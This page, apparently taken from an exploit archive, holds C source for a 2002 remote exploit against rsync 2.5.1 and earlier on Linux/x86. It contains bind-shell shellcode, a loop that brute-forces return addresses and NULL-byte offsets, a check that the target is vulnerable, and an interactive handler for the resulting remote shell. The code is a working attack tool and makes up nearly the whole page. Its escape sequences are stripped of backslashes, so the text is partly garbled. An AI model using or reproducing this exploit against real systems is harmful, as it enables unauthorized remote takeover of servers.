[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : rsync <= 2.5.1 Remote Exploit
# Published : 2002-01-01
# Author : Teso
# Previous Title : wu-ftpd <= 2.6.1 Remote Root Exploit
# Next Title : Solaris in.telnetd TTYPROMPT Buffer Overflow


/*** 7350fuqnut - rsync <= 2.5.1 remote exploit -- linux/x86 ver. 
 ***
 *** current version 2.5.5 but bug was silently fixed it appears
 *** so vuln versions still ship, maybe security implemecations
 *** were not recognized. 
 ***
 *** we can write NULL bites below &line[0] by supplying negative
 *** lengths. read_sbuf calls buf[len] = 0. standard NULL byte off
 *** by one kungf00 from there on.
 *** 
 *** - stealth
 ***/
 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>

#define MAXPATHLEN	4096
#define VERSION		"@RSYNCD: 26n"

#define PORT 		873
#define NULL_OFFSET	-48
#define	STARTNULLBRUTE	-44
#define ENDNULLBRUTE	-56
#define BRUTEBASE 	0xbfff7777
#define INCREMENT	512
#define ALLIGN		0 /* pop byte allignment */

#define SEND		"uname -a; idn"

int open_s(char *h, int p);
int setup(int s);
int exploit(int s);
void quit(int s); /* garbage quit */

void handleshell(int closeme, int s);
void usage(char *n);

char chode[] = /* Taeho oh, port 30464 */
"x31xc0xb0x02xcdx80x85xc0x75x43xebx43x5ex31xc0"
"x31xdbx89xf1xb0x02x89x06xb0x01x89x46x04xb0x06"
"x89x46x08xb0x66xb3x01xcdx80x89x06xb0x02x66x89"
"x46x0cxb0x77x66x89x46x0ex8dx46x0cx89x46x04x31"
"xc0x89x46x10xb0x10x89x46x08xb0x66xb3x02xcdx80"
"xebx04xebx55xebx5bxb0x01x89x46x04xb0x66xb3x04"
"xcdx80x31xc0x89x46x04x89x46x08xb0x66xb3x05xcd"
"x80x88xc3xb0x3fx31xc9xcdx80xb0x3fxb1x01xcdx80"
"xb0x3fxb1x02xcdx80xb8x2fx62x69x6ex89x06xb8x2f"
"x73x68x2fx89x46x04x31xc0x88x46x07x89x76x08x89"
"x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31"
"xc0xb0x01x31xdbxcdx80xe8x5bxffxffxff";

struct x_info {
	char *h;
	int p;
	char *module;
	int null_offset;
	u_long brutebase;
	int shell;
	int checkvuln;
	int nullbrute;
	int allign;
} rsx;
	

int
main(int argc, char **argv)
{
	char c;
	int s;
	u_long store;
	
	if(argc == 1) usage(argv[0]);

	rsx.h = "localhost";
	rsx.p = PORT;
	rsx.null_offset = NULL_OFFSET;
	rsx.brutebase = BRUTEBASE;
	rsx.nullbrute = 0;
	rsx.allign = ALLIGN;

	
	while((c = getopt(argc, argv, "h:p:m:o:b:Ba:")) != EOF) {
		switch(c) {
			case 'h':
				rsx.h = optarg;
				break;
			case 'p':
				rsx.p = atoi(optarg);
				break;
			case 'm':
				rsx.module = optarg;
				break;
			case 'o':
				rsx.null_offset = atoi(optarg);
				break;
			case 'b':
				rsx.brutebase = strtoul(optarg, (char **)optarg+strlen(optarg), 16);
				break;
			case 'B':
				rsx.nullbrute = 1;
				break;
			case 'a':
				rsx.allign = atoi(optarg);
				if(rsx.allign>4) {
					fprintf(stderr, "allign > 4 !? using defaultn");
					rsx.allign = ALLIGN;
				}
				break;
			default:
				usage(argv[0]);
		}
	}
	
	/* NULL byte brute wrap */
	
	store = rsx.brutebase;
	
	if(rsx.nullbrute) 
		for(rsx.null_offset = STARTNULLBRUTE; rsx.null_offset >= ENDNULLBRUTE; rsx.null_offset--) 
{
			fprintf(stderr, "noffset: %dn", rsx.null_offset);		
			/* start run -- cuten this up with some connectback shellcode */
			for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
				if((s = open_s(rsx.h, rsx.p)) < 0) {
					fprintf(stderr, "poop..byen");
					exit(1);
				}
	
				if(setup(s) > 0) 
					if(exploit(s) > 0) 
						handleshell(s, rsx.shell);
			}
			rsx.brutebase = store;			
		}	 
	

 	for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
                if((s = open_s(rsx.h, rsx.p)) < 0) {
                        fprintf(stderr, "poop..byen");
                        exit(1);
                }

                if(setup(s) > 0)
                        if(exploit(s) > 0)
                                handleshell(s, rsx.shell);
        }


	fprintf(stderr, "No luck...byen");	
	exit(0);
}

void
quit(int s)
{
	/* we just write a garbage quit to make the remote end the process */
	/* very crude but who cares */
	write(s, "QUITn", 5);
	close(s);
}  

int
setup(int s)
{
	/* we just dump our setup info on the socket. kludge */
	
	char out[512], *check;
	long version = 0;
	
	
	if(rsx.checkvuln) {
		rsx.checkvuln = 0; /* just check once */
		
		/* get version reply -- vuln check */
		memset(out, '', sizeof(out));
		read(s, out, sizeof(out)-1);
		if((check = strchr(out, (int)':')) != NULL) {
			version = strtoul((char *)check+1, (char **)check+3, 0);
			if(version >= 26) {
				fprintf(stderr, "target is not vulnerable (version: %d)n", version);
				quit(s);
				exit(0);
			}
		}
		else {
			fprintf(stderr, "did not get version reply..abortingn");
			quit(s);
			exit(0);
		}
		
		fprintf(stderr, "Target appears to be vulnerable..continue attackn");
	}
	
	/* our version string */	
	if(write(s, VERSION, strlen(VERSION)) < 0) return -1;

	/* the module we supposedly want to retrieve */
	memset(out, '', sizeof(out));
	snprintf(out, sizeof(out)-1, "%sn", rsx.module);
	if(write(s, out, strlen(out)) < 0) return -1;
       	if(write(s, "--servern", 9) < 0) return -1;
       	if(write(s, "--sendern", 9) < 0) return -1;
	if(write(s, ".n", 2) < 0) return -1;
	/* send module name once more */
	if(write(s, out, strlen(out)) < 0) return -1;
	/* send newline */
	if(write(s, "n", 1) < 0) return -1;

	return 1;
}

int
exploit(int s) 
{
	
	char x_buf[MAXPATHLEN], b[4];
	int i;

	/* sleep(15); */

	memset(x_buf, 0x90, ((MAXPATHLEN/2)-strlen(chode)));
	memcpy(x_buf+((MAXPATHLEN/2)-strlen(chode)), chode, strlen(chode));
	/* allign our address bytes for the pop if needed */
        for(i=(MAXPATHLEN/2); i<((MAXPATHLEN/2)+rsx.allign);i++)
		x_buf[i] = 'x';
	for(i=((MAXPATHLEN/2)+rsx.allign); i<MAXPATHLEN; i+=4)
                *(long *)&x_buf[i] = rsx.brutebase;
	*(int *)&b[0] = (MAXPATHLEN-1);
	if(write(s, b, 4) < 0) return -1;
	if(write(s, x_buf, (MAXPATHLEN-1)) < 0) return -1;
	/* send NULL byte offset from &line[0] to read_sbuf() ebp */
	*(int *)&b[0] = rsx.null_offset;
	if(write(s, b, 4) < 0) return -1;
	/* let rsync know it can go ahead and own itself now */
	memset(b, '', 4);
	if(write(s, b, 4) < 0) return -1;

	/* zzz for shell setup */
	usleep(50000);
	
	/* check for our shell -- (mod this to be connectback friendly bruteforce) */
	fprintf(stderr, ";");
	if((rsx.shell = open_s(rsx.h, 30464)) < 0) {
		if(rand() % 2)
			fprintf(stderr, "P");
		else
			fprintf(stderr, "p");
		quit(s);
		return -1;
	}
	
	fprintf(stderr, "nnSuccess! (ret: %p offset: %d)nn", rsx.brutebase, rsx.null_offset);
	return 1;	
}
	
	
	
void
usage(char *n) {
	fprintf(stderr, 
			"nUsage: %sn"
			"nOptions:n" 
			"t-h <rsync_host>n" 
			"t-m <module_to_request>n"
			"nExtra options:n"
			"t-p <rsync_port>n"
			"t-o <null_byte_offset>n"
			"t-a <byte_allignment_for_eip_pop>n"
			"nBrute force options:n"
			"t-b <0xbruteforce_base_address>n"
			"t-B Turns on NULL byte offset brutingnn"
		, n);
	
	exit(0);
}
	

int
open_s(char *h, int p)
{
        struct sockaddr_in remote;
        struct hostent *iplookup;
        char *ipaddress;
        int sfd;

        if((iplookup = gethostbyname(h)) == NULL) {
                perror("gethostbyname");
                return -1;
        }

        ipaddress = (char *)inet_ntoa(*((struct in_addr *)iplookup->h_addr));
        sfd = socket(AF_INET, SOCK_STREAM, 0);

        remote.sin_family = AF_INET;
        remote.sin_addr.s_addr = inet_addr(ipaddress);
        remote.sin_port = htons(p);
        memset(&(remote.sin_zero), '', 8);

        if(connect(sfd, (struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) return -1;
        
        return sfd;
}

void
handleshell(int closeme, int s)   
{
        char in[512], out[512];
	fd_set fdset;
        
	close(closeme);
	
	if(write(s, SEND, strlen(SEND)) < 0 ) {
		fprintf(stderr, "write errorn");
		exit(1);
	}	
 
        while(1) {
        
                FD_ZERO(&fdset);
                FD_SET(fileno(stdin), &fdset);
                FD_SET(s, &fdset);
        
                select(s+1, &fdset, NULL, NULL, NULL);
        
                if(FD_ISSET(fileno(stdin), &fdset)) {
                        memset(out, '', sizeof(out));
                        if(read(0, out, (sizeof(out)-1)) < 0) {
				fprintf(stderr, "read errorn");
                                exit(1);
			}
			if(!strncmp(out, "exit", 4)) {
                                write(s, out, strlen(out));
                                quit(s);
				exit(0);
                        }
                        if(write(s, out, strlen(out)) < 0) {
                                fprintf(stderr, "write errorn");
                                exit(1);
                        }
                }
        
                if(FD_ISSET(s, &fdset)) {
                        memset(in, '', sizeof(in));
                        if(read(s, in, (sizeof(in)-1)) < 0) {
                                fprintf(stderr, "read errorn");
                                exit(1);
                        }
               		fprintf(stderr, "%s", in);
		}
        }
}

// www.Syue.com [2002-01-01]